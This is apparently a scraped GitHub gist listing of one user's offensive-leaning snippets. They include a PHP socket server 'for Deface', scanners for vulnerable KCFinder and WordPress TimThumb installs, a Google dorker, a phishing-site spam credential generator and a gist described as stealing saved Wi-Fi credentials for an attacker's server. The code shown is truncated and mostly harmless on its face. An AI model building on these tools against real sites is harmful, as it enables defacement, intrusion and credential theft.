Skip to content

Instantly share code, notes, and snippets.

View ttycelery's full-sized avatar
🧀
eating cheese

Faiz Jazadi ttycelery

🧀
eating cheese
View GitHub Profile
@ttycelery
ttycelery / socket_php.php
Created November 18, 2017 07:44
PHP Socket Server for Deface
<?php
/*
- Socket Server PHP
| Author: P4kL0nc4t / Obsidian Cyber Team
| Date: 28 October 2017
| Note: Editing author will not make you the real coder!
*/
set_time_limit (0);
if(!empty($_GET['port']) && is_numeric($_GET['port'])) {
$port = $_GET['port'];
@ttycelery
ttycelery / fec.py
Last active December 5, 2017 06:58
FEC KCFinder
#!/usr/bin/python
path = "panel/kcfinder/upload.php"
indicator = "Unknown" # don't change
import requests
import sys
print """\
+-+-+-+ File Existency Checker (KCFinder)
|F|E|C| Simple Version
+-+-+-+ https://github.com/p4kl0nc4t
"""
@ttycelery
ttycelery / timthumb.php
Created January 7, 2018 16:30
WordPress TimThumb Finder
<html>
<title>WordPress TimThumb Finder</title>
<?php
/*
* WordPress TimThumb Finder
* Author : P4kL0nc4t
* Date : 07/01/2018
* Adapted from Wordpress TimThumb Finder v1.0 by Rafay Baloch (Python) -> https://dl.packetstormsecurity.net/UNIX/scanners/wptimthumb-scanner.txt
*/
if(isset($_REQUEST['url'])) {
@ttycelery
ttycelery / google-dorker.py
Created March 31, 2018 09:16
GDS: simple Google dorker script
import re
import requests
from bs4 import BeautifulSoup
import sys
import webbrowser
global_cookies = None
def the_end():
print("\r|! end: successfully dumped {} urls from Google search query '{}' to file '{}' (end_page={})".format(len(cached_urls), sys.argv[1], sys.argv[3], pagenm))
@ttycelery
ttycelery / gen_cred.py
Created April 7, 2018 04:49
spam-phising: an example of phising site spammer script
import random
class credential_generator:
def __init__(self, username_list, password_list, email_list=['gmail.com', 'yahoo.com', 'yandex.com', 'protonmail.com']):
self.u_list = open(username_list, "r").readlines()
self.p_list = open(password_list, "r").readlines()
self.u_listf = []
self.p_listf = []
self.e_listf = email_list
for username in self.u_list:
self.u_listf.append(username.rstrip())
@ttycelery
ttycelery / gaga_enc.py
Last active April 9, 2018 06:54
wcred: steal saved wifi credential and send it to attacker's server
main_char_lower = {"a": "b","c": "d","e": "f","g": "h","i": "j","k": "l","m": "n","o": "p","q": "r","s": "t","u": "v","w": "x","y": "z"}
for key,value in main_char_lower.items(): main_char_lower[value] = key
main_char_upper = dict()
for key,value in main_char_lower.items(): main_char_upper[key.upper()] = value.upper()
main_char_d_lower = dict()
for key,value in main_char_lower.items(): main_char_d_lower[value] = key
main_char_d_upper = dict()
for key,value in main_char_upper.items(): main_char_d_upper[value] = key
main_char_num = {"0": "1", "2": "3", "4": "5", "6": "7", "8": "9"}
for key,value in main_char_num.items(): main_char_num[value] = key
@ttycelery
ttycelery / __init__.py
Created April 9, 2018 07:04
gaga_enc: not too useful script to encode a string
main_char_lower = {"a": "b","c": "d","e": "f","g": "h","i": "j","k": "l","m": "n","o": "p","q": "r","s": "t","u": "v","w": "x","y": "z"}
for key,value in main_char_lower.items(): main_char_lower[value] = key
main_char_upper = dict()
for key,value in main_char_lower.items(): main_char_upper[key.upper()] = value.upper()
main_char_d_lower = dict()
for key,value in main_char_lower.items(): main_char_d_lower[value] = key
main_char_d_upper = dict()
for key,value in main_char_upper.items(): main_char_d_upper[value] = key
main_char_num = {"0": "1", "2": "3", "4": "5", "6": "7", "8": "9"}
for key,value in main_char_num.items(): main_char_num[value] = key
@ttycelery
ttycelery / sessi0n.py
Last active May 16, 2018 15:30
sessi0n: simple tool to store PHP script as session variable and evaluate it.
#!/usr/bin/python2
# - sessi0n
# | Date: 18/02/2018
# | Author: P4kL0nc4t
# | Description: simple tool to store PHP script as session variable and evaluate it.
print('''\
_ ___
___ ___ ___ ___ (_) _ \___ | sessi0n: session based PHP script
(_-</ -_|_-<(_-</ / // / _ \\ | { v1.1 }
@ttycelery
ttycelery / grouper.py
Created May 24, 2018 09:56
Mailist Grouper
# Mailist Grouper
import sys
print("""\
+-----------------------------+
| Mailist Grouper |
| P4kL0nc4t | 24/05/2018 |
+-----------------------------+
""")
if len(sys.argv) != 2:
print("usage: %s <mailist.txt>" % sys.argv[0])

Using Git to Manage a Live Web Site

Overview

As a freelancer, I build a lot of web sites. That's a lot of code changes to track. Thankfully, a Git-enabled workflow with proper branching makes short work of project tracking. I can easily see development features in branches as well as a snapshot of the sites' production code. A nice addition to that workflow is that ability to use Git to push updates to any of the various sites I work on while committing changes.

Contents